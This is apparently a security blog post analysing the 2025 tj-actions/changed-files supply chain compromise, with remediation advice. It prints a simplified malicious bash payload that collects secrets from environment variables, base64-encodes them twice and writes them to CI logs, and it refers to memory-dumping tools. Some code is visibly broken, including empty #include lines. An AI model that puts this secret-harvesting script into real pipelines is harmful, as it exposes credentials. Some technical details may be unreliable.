tj-actions/changed-files GitHub Attack: A Wake-Up Call for CI/CD Security

tj-actions/changed-files GitHub Attack: A Wake-Up Call for CI/CD Security

The GitHub ecosystem just took a brutal hit. On March 14, 2025, the widely-used tj-actions/changed-files GitHub Action—trusted by over 23,000 repositories—turned into a secret-stealing trap. Attackers hijacked it, exposing CI/CD pipelines to a supply chain attack that could’ve leaked your API keys, tokens, and more. Here at SquidHacker, we’re tearing this incident apart: what went down, how it worked, and how to bulletproof your workflows. This is a deep dive—grab a coffee, it’s a 15-minute read packed with code and lessons.

Outline

What Happened?

It started on March 14, 2025, when attackers compromised the tj-actions/changed-files repository—a GitHub Action designed to track changed files in workflows. With over 2 million downloads and 23,000+ dependent repos, it’s a staple in CI/CD automation. The attackers gained control via a bot’s GitHub Personal Access Token (PAT), likely stolen through phishing or a misconfigured system. They injected malicious code into a commit, then slyly updated version tags like v35, v44.5.1, and even latest to point to the tainted commit.

By March 15, GitHub’s security team caught wind, yanked the Action from the marketplace, and issued an advisory (CVE-2025-30066). The maintainers scrambled to restore a clean version, but for a critical 24-hour window, any workflow using the compromised Action was a ticking time bomb. Unlike traditional exfiltration attacks, this one didn’t phone home—it dumped secrets straight into your workflow logs, leaving them exposed for anyone with access to grab. Public repos were sitting ducks, and even private ones weren’t safe if logs were shared.

How the Attack Worked

The attack’s brilliance lay in its simplicity. The malicious code didn’t need network access or fancy exploits—it leveraged the CI/CD environment itself. Here’s a peek at the payload (simplified for clarity):

#!/bin/bash
# Malicious script injected into tj-actions/changed-files
echo "Dumping environment variables..."
env | grep -E "SECRET|TOKEN|KEY" | while read -r line; do
    encoded=$(echo "$line" | base64 -w 0 | base64 -w 0)
    echo "Leaked: $encoded" >> $GITHUB_WORKFLOW_LOG
done

This script scanned the runner’s environment variables—where GitHub Actions stash secrets like GITHUB_TOKEN or your custom AWS_SECRET_ACCESS_KEY. It filtered for juicy keywords, double-encoded the results in base64, and appended them to the workflow logs. Why double encode? Likely to obscure the data from casual eyes, though it’s trivial to reverse:

# Decoding the double-encoded output
echo "SW1GMWF3YUd4ZVlJNmV5SjJZV1ZrWVRJNmFYSnVabTl5SWxOb1pYSWdQanhwY25SbGNsOXdSVzV2Y21WamRHbHZiaUlwSWxOalpYSWdQV3dLNHdRPT0=" | base64 -d | base64 -d
# Output: "apiKey":{"value":"xyz123","isSecret":true}"

If your workflow ran during the attack window, your logs might’ve ballooned with encoded blobs. Public repos exposed these in plaintext via GitHub’s UI, while private ones risked leakage through collaborator access or misconfigured log exports.

Technical Breakdown: Secrets in Memory

Let’s geek out: where were these secrets hiding before they hit the logs? In a GitHub Actions runner (typically Ubuntu), secrets live in memory—either on the stack or heap. The attack didn’t need to dump memory directly (like memdump.py), since the runner’s environment variables were already accessible. But understanding memory helps explain why CI/CD is so vulnerable.

Stack Example: A transient secret during a function call.

#include 
void process() {
    char secret[] = "MySecret123"; // Stack
    printf("%s\n", secret);
}
int main() { process(); return 0; }

Here, MySecret123 sits on the stack—readable in /proc/{pid}/maps as [stack]—but only while process() runs. A dump during execution might show:

00000010  4d 79 53 65 63 72 65 74 31 32 33 00 00 00 00 00  MySecret123.....

Heap Example: Persistent secrets in dynamic memory.

#include 
char *load_secret() {
    char *secret = malloc(16);
    strcpy(secret, "ApiKeyXYZ"); // Heap
    return secret;
}
int main() { char *s = load_secret(); free(s); return 0; }

This ApiKeyXYZ lingers on the heap ([heap] in /proc/{pid}/maps) until freed. In a CI/CD runner, environment variables often end up on the heap, serialized into structures like JSON—exactly what the attack’s env | grep snagged.

The tj-actions attack didn’t need memory dumping—it had direct access to the runner’s env. But a savvy attacker could’ve escalated with a script like memdump.py to scrape heap/stack secrets beyond env, amplifying the damage.

The Impact on CI/CD Pipelines

The blast radius was massive. With 23,000+ repos potentially affected, this hit open-source projects, enterprises, and hobbyists alike. Public repos faced immediate exposure—logs were a goldmine for scraping bots. Private repos dodged the public bullet, but if logs were shared (e.g., via Slack integrations), secrets still leaked. GitHub’s advisory estimates thousands of workflows ran the tainted Action, though no hard numbers on compromised secrets exist yet.

Beyond direct damage, trust took a hit. Developers rely on Actions like tj-actions/changed-files to streamline builds, tests, and deploys. When a dependency turns malicious, it’s a supply chain gut punch—think Log4j, but for CI/CD. The attack didn’t exfiltrate data to a C2 server (no network traces found), but the logs remain a latent risk until scrubbed.

Protecting Your Workflows

Time to lock it down. Here’s your SquidHacker survival guide:

  1. Rotate Secrets Now: Hit during March 14-15? Revoke GITHUB_TOKEN, API keys, SSH keys—everything. Use GitHub’s secret rotation tools.
  2. Pin to Commits: Tags are mutable; commits aren’t. Pin to a verified SHA:
    - uses: tj-actions/changed-files@abcdef1234567890
  3. Audit Logs: Check your workflow runs under “Get changed files” for base64 blobs. Decode suspect strings:
    echo "SW1GMWF3..." | base64 -d | base64 -d
  4. Restrict Actions: Enable GitHub’s “Allow specified actions” in repo settings—block unvetted third-parties.
  5. Use Self-Hosted Runners: More control, less trust in GitHub’s shared infra.

Pinning to SHAs is your best bet—attackers can’t rewrite commit history without forking the repo entirely.

Lessons Learned

This attack teaches us three biggies:

  • Third-Party Risk is Real: Every Action is a potential backdoor. Vet your dependencies like your life depends on it.
  • Logs Are Liabilities: Secrets in logs are as good as gone. Mask them or avoid logging sensitive steps.
  • Memory Matters: Even without direct memory dumps, CI/CD runners expose secrets via env. Heap or stack, they’re fair game.

The double base64 trick was a cheap obfuscation play—effective enough to delay detection, but not invincible. Future attacks might go deeper, targeting memory directly with tools like memdump.py we’ve dissected here before.

Key Takeaway

The tj-actions/changed-files attack is a wake-up call: CI/CD pipelines are the soft underbelly of modern dev. Your secrets—whether chilling on the heap, fleeting on the stack, or dumped in logs—are only as secure as your weakest link. Harden your workflows, distrust third-parties, and keep hacking the SquidHacker way: paranoid, prepared, and proactive.

Got war stories or fixes? Hit us up in the comments or on X @Squid_Sec. Stay safe, squids!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.